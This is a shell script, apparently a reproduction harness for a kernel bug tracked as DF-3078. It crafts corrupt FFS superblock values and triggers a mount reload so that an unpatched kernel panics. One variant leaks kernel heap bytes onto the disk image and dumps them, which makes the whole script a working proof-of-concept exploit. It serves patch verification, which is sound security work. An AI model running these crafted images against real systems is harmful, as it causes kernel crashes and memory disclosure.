DF-3078 / run.sh
#!/bin/sh # DF-3078 reproduce — run IN the guest as root: sh /root/rt/run.sh <variant> # variants: unchanged | cssize | fsize0 | ncg | sbsize_leak | sbsize_fault # Baseline (unpatched kernel): cssize/fsize0/ncg/sbsize_fault PANIC or corrupt; # patched kernel: every crafted variant returns EINVAL from mount(RELOAD) # and the guest stays up; 'unchanged' still reloads fine (regression). set -u V="${1:-cssize}" cd /root/rt # fresh image + mounts for d in /mnt/gv; do umount $d 2>/dev/null; done vnconfig -u vn0 2>/dev/null ./mkimg.sh vnconfig -c vn0 ffs.img mkdir -p /mnt/gv mount -t ufs -o ro /dev/vn0 /mnt/gv || { echo MOUNT_FAIL; exit 3; } echo MOUNTED_RO case "$V" in unchanged) : ;; cssize) ./craft ffs.img 156 524288 ;; # fs_cssize 2048 -> 512KB fsize0) ./craft ffs.img 52 0 ;; # fs_fsize -> 0 (div0) ncg) ./craft ffs.img 44 536870912 ;; # fs_ncg 1 -> 0x20000000 sbsize_leak) ./craft ffs.img 104 8192 ;; # fs_sbsize 2048 -> 8192 sbsize_fault) ./craft ffs.img 104 65536 ;; # fs_sbsize -> 65536 *) echo "unknown variant"; exit 4 ;; esac [ "$V" = "unchanged" ] || echo "CRAFTED $V" sync # the trigger: mount(2) with MNT_UPDATE|MNT_RELOAD|MNT_RDONLY ./reload /mnt/gv RC=$? echo "RELOAD_RC=$RC" if [ "$V" = "sbsize_leak" ] || [ "$V" = "sbsize_fault" ]; then # adopt-then-leak: upgrade to RW -> ffs_sbupdate bcopy(fs, bp, fs_sbsize) # reads fs_sbsize bytes out of the mount-time um_fs allocation mount -u -o rw /dev/vn0 /mnt/gv echo "RW_UPGRADE_RC=$?" umount /mnt/gv vnconfig -u vn0 sync if [ "$V" = "sbsize_leak" ]; then # the 6144 bytes beyond the in-core superblock are now ON THE MEDIA dd if=ffs.img bs=4096 skip=2 count=2 2>/dev/null > leak_out.bin dd if=leak_out.bin bs=1 skip=2048 count=6144 2>/dev/null | hexdump -C | head fi echo "GUEST_STILL_UP=$(/bin/echo OK)" exit 0 fi echo "GUEST_STILL_UP" ls /mnt/gv >/dev/null 2>&1 && echo "FS_ACCESSIBLE" |